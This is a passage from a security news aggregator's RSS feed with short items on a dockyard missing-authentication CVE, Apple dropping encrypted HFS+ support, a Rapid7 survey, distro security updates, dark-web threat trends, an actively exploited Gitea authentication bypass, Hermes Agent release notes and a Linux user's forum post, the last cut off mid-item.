<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/10ij:dockyard">10ij dockyard up to 1.0.x</a>. This affects an unknown function of the file <em>/apps/action.php?action=stop&amp;name=</em> of the component <em>Docker Container Handler</em>. This manipulation causes missing authentication.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-39848">CVE-2026-39848</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Confirms macOS 28 Will Drop Support for Encrypted HFS+ Drives]]></title>
<description><![CDATA[Apple has confirmed an important storage compatibility change that will affect some Mac users when macOS 28 arrives next year. If you still use an encrypted Mac OS Extended, also known as HFS+, volume on an external drive or another storage device, you will need to decrypt or reformat it before u...]]></description>
<link>https://tsecurity.de/de/3655096/ios-mac-os/apple-confirms-macos-28-will-drop-support-for-encrypted-hfs-drives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655096/ios-mac-os/apple-confirms-macos-28-will-drop-support-for-encrypted-hfs-drives/</guid>
<pubDate>Wed, 08 Jul 2026 19:54:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has confirmed an important storage compatibility change that will affect some Mac users when macOS 28 arrives next year. If you still use an encrypted Mac OS Extended, also known as HFS+, volume on an external drive or another storage device, you will need to decrypt or reformat it before upgrading. Otherwise, macOS 28 will no longer support that encrypted volume, which means you won't be able to continue using it with the new operating system.



The change only applies to encrypted Mac OS Extended volumes. If your HFS+ drive isn't encrypted, Apple says it will continue to work with macOS 28 and later. This move continues Apple's long transition to the Apple File System (APFS), which became the default file system for Macs with macOS High Sierra and already includes built-in encryption support.



Apple explained the change in a newly published support document, where the company confirmed that macOS 28 will only support Mac OS Extended volumes if they are not encrypted.




"In macOS 28 and later, the Mac OS Extended file system format will be supported only for volumes (disks and other storage devices) that aren't encrypted. For future macOS compatibility, either decrypt or reformat any encrypted Mac OS Extended volumes."




Apple also says Macs running macOS 26 or later can notify users when they connect an affected encrypted HFS+ volume. The notification identifies the drive by name, giving users enough time to prepare before upgrading to macOS 28. If you don't receive a notification but still want to verify your drive, you can check its format and encryption status manually in Disk Utility. If the volume shows both Mac OS Extended and Encrypted, it won't remain compatible after installing macOS 28.



How to keep your drive compatible with macOS 28



Apple recommends backing up everything stored on the affected drive before making any changes. Once your data is safe, you can either reformat the drive using APFS or decrypt the existing volume. Reformatting permanently erases all data, while decrypting lets you continue using the drive and even convert it to APFS later without deleting its contents.




How to check and update your encrypted HFS+ volume



• Open Disk Utility from the Utilities folder or search for it with Spotlight.



• Choose View &gt; Show Only Volumes.



• Select the volume in the sidebar and check the information below its name. If it shows Mac OS Extended and Encrypted, the volume won't work with macOS 28.



• Back up any important files before making changes.



• Either erase and reformat the volume using APFS or APFS (Encrypted), or decrypt the existing volume by unlocking the drive, Control-clicking its icon, and selecting Decrypt.



• After decryption finishes, you can open Disk Utility, choose Edit &gt; Convert to APFS, and convert the volume without erasing it. If you still want encryption, you can encrypt the APFS volume afterward.




Apple also notes that this decryption option doesn't apply to encrypted Time Machine backup disks, so users who rely on those drives should plan accordingly before upgrading. Large encrypted volumes can also take a considerable amount of time to decrypt, so completing the process well before installing macOS 28 is a good idea.



Although Apple didn't explain why it removed support for encrypted HFS+ volumes, the decision aligns with its long-term focus on APFS as the standard file system across modern Macs. Users who still depend on older encrypted HFS+ drives now have plenty of time to back up their data, switch to APFS, and avoid compatibility issues before macOS 28 becomes available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security Teams Are Ready To Become More Preemptive. What’s Holding Them Back?]]></title>
<description><![CDATA[The shift toward preemptive security is underway, but most organizations are still navigating the realities of limited resources, fragmented tools, and emerging AI risk. At Rapid7’s recent Global Security Summit, we surveyed attendees to better understand where security leaders and practitioners ...]]></description>
<link>https://tsecurity.de/de/3654445/it-security-nachrichten/security-teams-are-ready-to-become-more-preemptive-whats-holding-them-back/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654445/it-security-nachrichten/security-teams-are-ready-to-become-more-preemptive-whats-holding-them-back/</guid>
<pubDate>Wed, 08 Jul 2026 15:23:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The shift toward preemptive security is underway, but most organizations are still navigating the realities of limited resources, fragmented tools, and emerging AI risk. At Rapid7’s recent </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>Global Security Summit</span></a><span>, we surveyed attendees to better understand where security leaders and practitioners stand today, what is shaping their priorities, and what they need to move forward. Their responses offer a candid view into the current state of security operations: ambitious, increasingly AI-aware, and ready for change, but still working through the practical challenges of getting there.</span></p><p><span>For many teams, the direction is clear: security needs to become more proactive, more connected, and more resilient. Attackers are moving quickly, environments are expanding, and teams are under pressure to reduce risk before it turns into business disruption. But the survey results show that most organizations are still somewhere in the middle of that journey.</span></p><h2>Where organizations are today</h2><p><span>One of the clearest findings is that security operations are increasingly collaborative. According to the survey, 57% of respondents operate in a hybrid internal and MDR model. That reflects a reality many teams know well: internal expertise remains essential, but external support can help extend coverage, add specialist knowledge, and support faster response when internal resources are stretched.</span></p><p><span>This hybrid model also speaks to the complexity security teams are managing. Modern environments span cloud, identity, endpoints, applications, third parties, and expanding attack surfaces. Keeping watch across all of it requires more than tooling alone. It requires the right mix of people, process, visibility, and support.</span></p><p><span>At the same time, many organizations are still working to connect the dots across their security ecosystem. Two-thirds of respondents said their security capabilities are only partially integrated. For analysts, partial integration often means more manual work: switching between tools, stitching together context, and making decisions with an incomplete picture. When teams are jumping between systems, manually stitching together context, or working from incomplete data, it becomes harder to act at the speed modern threats demand.</span></p><p><span>The survey also showed that only 10% of respondents describe their organization as “highly proactive” in predicting and preventing threats, which points to the reality of where many teams are today. The ambition is there, but becoming truly preemptive takes time, integration, and operational maturity. Most organizations are still balancing the day-to-day demands of reactive response with the longer-term work of building a more proactive security model.</span></p><p><span>Confidence levels tell a similar story. 59% of respondents said they are only somewhat confident in their organization’s ability to prevent attacks before impact. Security teams understand what is at stake, but many still lack full confidence that they can consistently stop threats before they affect the business.</span></p><h2>AI is a priority, but trust matters</h2><p><span>AI was, of course, another major theme in the survey. Interest is high, especially when it comes to improving efficiency, accelerating triage, and helping teams manage growing volumes of data and alerts, but adoption is still developing. 52% of respondents said AI is in early-stage exploration within their security operations.</span></p><p><span>AI has clear potential in the SOC and across security operations, from summarizing investigations to enriching alerts, supporting prioritization, and helping analysts move faster. But security teams have to be deliberate about how they apply it. In high-pressure environments where accuracy, context, and accountability matter, AI needs to earn trust.</span></p><p><span>The survey results show that trust is still a key consideration. 57% of respondents cited securing AI usage as a top AI and security concern, while 44% cited lack of transparency or trust. These responses reflect a practical mindset. Security leaders are thinking about both sides of AI: how it can help defenders move faster, and how to manage the new risks it introduces. Internally, for AI to become operationally valuable, it has to fit into existing workflows, provide explainable outputs, and support human expertise.</span></p><h2>What security teams want next</h2><p><span>When respondents were asked what is preventing them from becoming more proactive, the top challenges were practical and familiar. 54% cited limited staff or expertise, making capacity one of the biggest barriers to progress. Teams may have the ambition to become more preemptive, but many are already balancing daily alert queues, incident response, vulnerability backlogs, compliance pressure, and business-as-usual security demands.</span></p><p><span>Visibility is another major factor. 31% of respondents cited lack of visibility across the environment as a barrier to becoming more proactive. Without a clear view of assets, identities, exposures, and attacker activity, teams struggle to prioritize what matters most. This is especially important as organizations look to move from broad detection toward more risk-aware, preemptive action.</span></p><p><span>The priorities respondents selected show where they want to go next. 41% selected preemptive security as a top security leadership priority, while improving resilience, strengthening incident response, reducing complexity, and improving risk visibility also appeared as recurring themes.</span></p><p><span>The findings from our Global Security Summit make one thing clear: security teams are ready to move toward more proactive, integrated, and AI-enabled operations, but they need the right visibility, expertise, and confidence to do it well.</span></p><p><span>To hear more from the experts and practitioners who joined us at the summit, catch up on the </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>on-demand sessions</span></a><span>. And to learn how Rapid7 is helping organizations move toward preemptive security, explore </span><a href="https://www.rapid7.com/campaign/managed-detection-and-response/?utm_source=blog&amp;utm_medium=website&amp;utm_content=survey-blog&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_blank"><span>Rapid7 Managed Detection and Response</span></a><span>, built to disrupt attackers earlier with broad ecosystem coverage, risk visibility, expert guidance, and an AI-powered SOC.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), Debian (dpkg, imagemagick, and postfix), Fedora (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip...]]></description>
<link>https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 08 Jul 2026 14:53:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), <b>Debian</b> (dpkg, imagemagick, and postfix), <b>Fedora</b> (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip2, perl-IO-Compress, perl-JavaScript-Minifier-XS, python-cramjam, python-fastar, python-pillow-jxl-plugin, python-rignore, and tor), <b>Oracle</b> (grafana, grafana-pcp, and ruby:4.0), <b>Slackware</b> (tftp), <b>SUSE</b> (gi-docgen, glibc, helm, helm3, json-c-devel, kubevirt-1.6, librpmbuild10, python313-dulwich, python313-lxml_html_clean, python313-openapi-spec-validator, and sdbootutil), and <b>Ubuntu</b> (ruby-addressable).]]></content:encoded>
</item>
<item>
<title><![CDATA[Inside the Underground Economy: 5 Dark Web Trends Shaping the 2026 Threat Landscape]]></title>
<description><![CDATA[The dark web is no longer just a hidden marketplace for stolen credentials; it has grown far beyond that point and now affects nearly every phase of the cyberattack lifecycle. Markets that once traded only compromised accounts now also sell ransomware services, initial network access, exploit kit...]]></description>
<link>https://tsecurity.de/de/3653930/it-security-nachrichten/inside-the-underground-economy-5-dark-web-trends-shaping-the-2026-threat-landscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653930/it-security-nachrichten/inside-the-underground-economy-5-dark-web-trends-shaping-the-2026-threat-landscape/</guid>
<pubDate>Wed, 08 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/07/dark-web-trends.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="dark web trends" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/07/dark-web-trends.webp 1200w, https://cyble.com/wp-content/uploads/2026/07/dark-web-trends-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/07/dark-web-trends-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/07/dark-web-trends-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Inside the Underground Economy: 5 Dark Web Trends Shaping the 2026 Threat Landscape 1"></p>
<p><!-- wp:paragraph --></p>
<p>The dark web is no longer just a hidden marketplace for stolen credentials; it has grown far beyond that point and now affects nearly every phase of the cyberattack lifecycle. Markets that once traded only compromised accounts now also sell ransomware services, initial network access, exploit kits, phishing infrastructure, and even AI-powered attack tools. What used to be a place for selling stolen data has become the operational backbone of modern cybercrime. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Take the first half of 2026 as an example. The dark web trend for this year has evolved into a highly organized ecosystem that facilitates cybercrime, underpins ransomware supply chains, fuels geopolitical campaigns, and accelerates identity-based attacks. Instead of serving as the endpoint for stolen data, it now functions as an operational hub where access, intelligence, and malicious services are traded before attacks even begin. The pace of activity reflects this shift: March 2026 alone recorded 702 ransomware attacks and 54 major publicly reported data breaches and leaks worldwide.                                                                  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Enterprise security teams must watch this underground activity; it's now not optional as an intel exercise but rather an essential capability for spotting threats before they materialize. The dark web trends observed during the first half of 2026 reveal how underground ecosystems are reshaping the <a href="https://cyble.com/blog/2026-threat-intelligence-trends/" target="_blank" rel="noreferrer noopener">cyber threat landscape</a>. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Ransomware Operations Top the Dark Web Trends of 2026</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>During the first six months of 2026, ransomware remained one of the most disruptive cyber threats, but the infrastructure supporting it became noticeably more organized. Rather than hundreds of equally active groups competing for victims, <a href="https://cyble.com/blog/monthly-threat-landscape-march-2026/" target="_blank" rel="noreferrer noopener">five ransomware operations</a>—Qilin, Akira, The Gentlemen, DragonForce, and INC Ransom—were responsible for more than 56% of ransomware activity recorded in March 2026.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This concentration stresses the growing consolidation of the ransomware ecosystem, where a handful of established operators dominate attacks while relying on affiliates and underground service providers to scale their campaigns. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Modern <a href="https://cyble.com/blog/new-ransomware-groups-on-the-rise/" target="_blank" rel="noreferrer noopener">ransomware campaigns</a> rarely center on the encryption of systems. Data theft has increasingly become a standard component in most attack scenarios, as it allows threat actors to pressure their victims with the threat of public exposure, even if the victims have proper backups and can restore their systems. The <a href="https://cyble.com/knowledge-hub/what-is-the-dark-web/" target="_blank" rel="noreferrer noopener">dark web</a> leak sites play a major role in this, as they are the places where stolen information is published or auctioned when organizations do not want to make a payment.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This shift will require businesses to monitor underground forums for underground forum trends in H1 2026, including discussions around leaked data, targeted organizations, and early chatter on upcoming campaigns. Regional data reinforces the same trend. In the <a href="https://cyble.com/blog/2026-threat-intelligence-trends/" target="_blank" rel="noreferrer noopener">Americas alone</a>, 1,305 cyber incidents were reported during Q1 2026, including 1,138 publicly claimed ransomware attacks. Nearly 58% of those attacks were attributed to just five ransomware groups. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Access Brokers Are Powering the Underground Economy</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Many <a href="https://cyble.com/knowledge-hub/what-is-a-cyber-attack/" target="_blank" rel="noreferrer noopener">cyberattacks</a> are now starting long before ransomware. Initial access brokers have become major players, specializing in one activity: network compromise and then selling that access to other threat actors. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Underground marketplaces also showed growing demand for initial access. In <a href="https://cyble.com/blog/monthly-threat-landscape-march-2026/" target="_blank" rel="noreferrer noopener">March 2026</a>, researchers observed 20 separate listings advertising access to compromised corporate networks. Professional services accounted for 25% of those listings, while retail represented another 20%. Even more concerning, three sellers—vexin, holyduxy, and algoyim—accounted for more than 55% of the observed access sales. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Ransomware groups and espionage operators don’t need to spend time and effort to breach organizations themselves; they can simply buy verified entry points to corporate environments. This new division of labor has made cybercrime much faster and more effective. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Access is typically sold soon after a compromise, so the time window for defenders to catch exposed credentials or infrastructure that has been compromised is shrinking. As such, <a href="https://cyble.com/blog/dark-web-intelligence-monitoring-guide/" target="_blank" rel="noreferrer noopener">dark web intelligence</a> is valuable not only in the identification of stolen data but also indications that access to a network of an organization is already being traded in underground markets. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>To see how Cyble’s threat intelligence can help your organization detect external exposure and track threat activity, <a href="https://cyble.com/request-demo/" target="_blank" rel="noreferrer noopener"><strong>book a personalized demo</strong></a>. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Identity Has Become the Primary Attack Surface</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>With the rise of credential-based attacks over malware, the security perimeter is pretty much irrelevant. The most common enterprise infiltration paths include credential theft, session hijacking, bypass techniques for <a href="https://cyble.com/blog/multi-factor-authentication-mfa-is-a-part-of-your-cyber-hygiene/" target="_blank" rel="noreferrer noopener">multi-factor authentication</a>, and abuse of third-party access. All those have one thing in common: valid credentials. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>From an attacker's perspective, logging in with legitimate credentials generates far less suspicion than exploiting software vulnerabilities. As organizations expand cloud adoption and remote work, identities have effectively become the new perimeter. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The shift toward identity-focused attacks is reflected in breach statistics as well. Technology and financial services accounted for approximately 44% of reported breach activity across North America during the first half of 2026. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This trend also explains why stolen usernames, passwords, authentication tokens, and corporate accounts remain among the most valuable assets traded across dark web communities. Monitoring for exposed credentials allows organizations to respond before compromised identities are weaponized. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Geopolitical Events Are Driving Cyber Activity</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The connection between global conflicts and dark web activity has become increasingly apparent during the first half of 2026. State-sponsored groups, hacktivists, and financially motivated criminals frequently operate in parallel during periods of geopolitical tension, creating a more complex threat environment. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Rather than focusing exclusively on immediate disruption, many sophisticated actors are investing in long-term access to critical infrastructure, telecommunications, transportation, and energy systems. During the February 2026 escalation in the Middle East, cyber operations demonstrated how geopolitical events now extend into the digital domain.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Internet connectivity in affected regions reportedly dropped to between 1% and 4% of normal levels, more than 70 hacktivist groups became active, over 8,000 conflict-themed domains were registered for scams and malware campaigns, and disruptions to navigation systems affected more than 1,100 vessels near the Strait of Hormuz. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This convergence of political objectives and cybercrime makes attribution more difficult and raises the importance of monitoring underground discussions that may signal emerging campaigns before they reach production environments. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>AI Is Accelerating Both Attackers and Defenders</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Artificial intelligence has moved from experimentation to operational use across the <a href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noreferrer noopener">cybersecurity</a> landscape. Threat actors are increasingly using AI-assisted techniques to automate reconnaissance, accelerate vulnerability exploitation, and scale phishing campaigns with greater precision. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The dark web has become a marketplace for sharing AI-enabled attack tools alongside traditional malware, making advanced capabilities accessible to less experienced operators. This lowers the barrier to entry while increasing the overall speed of cyber operations. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Dark web <a href="https://cyble.com/solutions/cyber-threat-intelligence/" target="_blank" rel="noreferrer noopener">threat intelligence</a> in 2026 is becoming increasingly AI-driven, with defenders using automated analysis to process large volumes of dark web data, identify indicators of compromise, and prioritize threats in near real time. As attacks unfold more rapidly, automation is becoming necessary to reduce detection and response times. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The question is no longer whether your organization appears on the dark web. The real question is whether you'll discover it before your attackers do. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/blog/dark-web-trends-2026-cyber-threat-landscape/#cbp-form-title" data-type="internal" data-id="#cbp-form-title"><strong>Subscribe to access the upcoming H1 2026 report by Cyble</strong> </a></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Conclusion</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The first half of 2026 stresses that the dark web is no longer simply where stolen information appears after an incident. The new dark web trends suggest that it has evolved into a live intelligence environment where attacks are planned, infrastructure is traded, identities are monetized, and emerging tactics become visible before they reach production networks. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Organizations that incorporate dark web intelligence into broader security operations gain more than visibility into compromised data; they gain early warning of evolving threats. As ransomware groups become more coordinated, identity attacks continue to rise, and AI reshapes offensive capabilities. Proactive monitoring will play an important role in reducing cyber risk during the remainder of 2026. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>References:</strong> </h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://cyble.com/blog/monthly-threat-landscape-march-2026/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/monthly-threat-landscape-march-2026/</a> </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://cyble.com/blog/2026-threat-intelligence-trends/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/2026-threat-intelligence-trends/</a> </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/dark-web-trends-2026-cyber-threat-landscape/">Inside the Underground Economy: 5 Dark Web Trends Shaping the 2026 Threat Landscape</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers warn Gitea CVE-2026-20896 is now being actively exploited]]></title>
<description><![CDATA[Researchers are warning that CVE-2026-20896, a critical authentication bypass affecting Gitea Docker deployments using reverse-proxy authentication, is now seeing active exploitation. Under specific misconfigurations, attackers can spoof the X-WEBAUTH-USER header to impersonate arbitrary users, p...]]></description>
<link>https://tsecurity.de/de/3653402/it-security-nachrichten/researchers-warn-gitea-cve-2026-20896-is-now-being-actively-exploited/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653402/it-security-nachrichten/researchers-warn-gitea-cve-2026-20896-is-now-being-actively-exploited/</guid>
<pubDate>Wed, 08 Jul 2026 08:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/security/comments/1uqju6y/researchers_warn_gitea_cve202620896_is_now_being/"> <img src="https://external-preview.redd.it/tTZNmQeT7pRDlriMn8w3LADi1MhuKQezgxpNFwchk0k.jpeg?width=640&amp;crop=smart&amp;auto=webp&amp;s=402556b73977a9ec1daae2e50c2ae1ce358a3336" alt="Researchers warn Gitea CVE-2026-20896 is now being actively exploited" title="Researchers warn Gitea CVE-2026-20896 is now being actively exploited"> </a> </td><td> <!-- SC_OFF --><div class="md"><p>Researchers are warning that CVE-2026-20896, a critical authentication bypass affecting Gitea Docker deployments using reverse-proxy authentication, is now seeing active exploitation. Under specific misconfigurations, attackers can spoof the X-WEBAUTH-USER header to impersonate arbitrary users, potentially leading to full repository compromise.</p> <p>The issue has been fixed in Gitea 1.26.4 (and corresponding patched releases for supported branches), so administrators should update as soon as possible. If you're using reverse-proxy authentication, it's also worth reviewing your proxy configuration to ensure authentication headers cannot be supplied by untrusted clients.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/NapierPalm"> /u/NapierPalm </a> <br> <span><a href="https://thecybersecguru.com/news/cve-2026-20896-gitea-authentication-bypass-dom-xss-ssrf/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uqju6y/researchers_warn_gitea_cve202620896_is_now_being/">[comments]</a></span> </td></tr></table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Zwei Probleme in docker-compose (Fedora)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3653257/unix-server/security-zwei-probleme-in-docker-compose-fedora/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653257/unix-server/security-zwei-probleme-in-docker-compose-fedora/</guid>
<pubDate>Wed, 08 Jul 2026 06:46:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.2 (2026.7.7.2)]]></title>
<description><![CDATA[Hermes Agent v0.18.2 (v2026.7.7.2)
Release Date: July 7, 2026

Same-day patch on top of v0.18.1, picking up the WhatsApp Baileys dependency fix needed for tagged-release Docker builds.


What's in this patch

fix(whatsapp): unpin Baileys from git commit, use published 7.0.0-rc13 (#60643) — the Wh...]]></description>
<link>https://tsecurity.de/de/3653151/downloads/hermes-agent-v0182-2026772/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653151/downloads/hermes-agent-v0182-2026772/</guid>
<pubDate>Wed, 08 Jul 2026 05:16:18 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.2 (v2026.7.7.2)</h1>
<p><strong>Release Date:</strong> July 7, 2026</p>
<blockquote>
<p>Same-day patch on top of v0.18.1, picking up the WhatsApp Baileys dependency fix needed for tagged-release Docker builds.</p>
</blockquote>
<hr>
<h2>What's in this patch</h2>
<ul>
<li><strong>fix(whatsapp): unpin Baileys from git commit, use published 7.0.0-rc13</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/60643" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60643/hovercard">#60643</a>) — the WhatsApp bridge dependency now installs from the published npm release instead of a pinned git commit, making installs and Docker image builds reliable.</li>
</ul>
<p>Full curated release notes for the entire post-v0.18.0 window ship with v0.19.0.</p>
<h2>Updating</h2>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="hermes update        # existing installs
pip install -U hermes-agent"><pre>hermes update        <span class="pl-c"><span class="pl-c">#</span> existing installs</span>
pip install -U hermes-agent</pre></div>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.7...v2026.7.7.2">v2026.7.7...v2026.7.7.2</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I have fewer problems with Linux than with Windows.]]></title>
<description><![CDATA[The title pretty much says it. I just wanted to share my experience in case it helps someone who's considering making the switch. I started dual-booting about two years ago after Microsoft announced Windows Recall. At the time, Windows worked perfectly fine for me, and I had never really had any ...]]></description>
<link>https://tsecurity.de/de/3653105/linux-tipps/i-have-fewer-problems-with-linux-than-with-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653105/linux-tipps/i-have-fewer-problems-with-linux-than-with-windows/</guid>
<pubDate>Wed, 08 Jul 2026 04:25:27 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>The title pretty much says it. I just wanted to share my experience in case it helps someone who's considering making the switch.</p> <p>I started dual-booting about two years ago after Microsoft announced <a href="https://www.windowscentral.com/software-apps/windows-11/windows-recall-faq-everything-you-need-to-know">Windows Recall</a>. At the time, Windows worked perfectly fine for me, and I had never really had any major issues with it, been using it since Windows XP.</p> <p>Ironically, ever since I started using Linux as my main OS, Windows has become the one giving me headaches.</p> <p>For example:</p> <ul> <li>My mouse constantly disconnects and reconnects on Windows, making FPS games nearly unplayable. The exact same mouse works flawlessly on Linux.</li> <li>I recently bought a game on Steam that launches with the wrong resolution on Windows. After trying everything I could think of, I still haven't fixed it. On Linux, it launches in the correct resolution immediately.</li> <li>My Windows installation is a completely fresh install, yet it feels painfully slow. Launching CS2 can take up to two minutes, while on Linux it starts in about ten seconds.</li> </ul> <p>The funny part is that Linux isn't just "good enough" anymore, it does <strong>everything else</strong> I used Windows for without any issues. Browsing, programming, gaming (for the vast majority of my library), Docker, virtualization, media, file management... everything just works.</p> <p>The only reasons I still keep Windows installed are:</p> <ul> <li>Playing games like Call of Duty or League of Legends with friends sometimes.</li> <li>Using a collection of very large Excel workbooks with complex macros and custom forms. I tried migrating them to LibreOffice, but they simply aren't compatible.</li> </ul> <p>Today I spend about <strong>95% of my time on Linux</strong>, and I don't regret switching for a second.</p> <p>I started with Linux Mint and eventually moved to Zorin OS. Both have been great, but what surprised me the most is that I now trust Linux more than Windows to <em>just work</em>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/LetterheadNo2345"> /u/LetterheadNo2345 </a> <br> <span><a 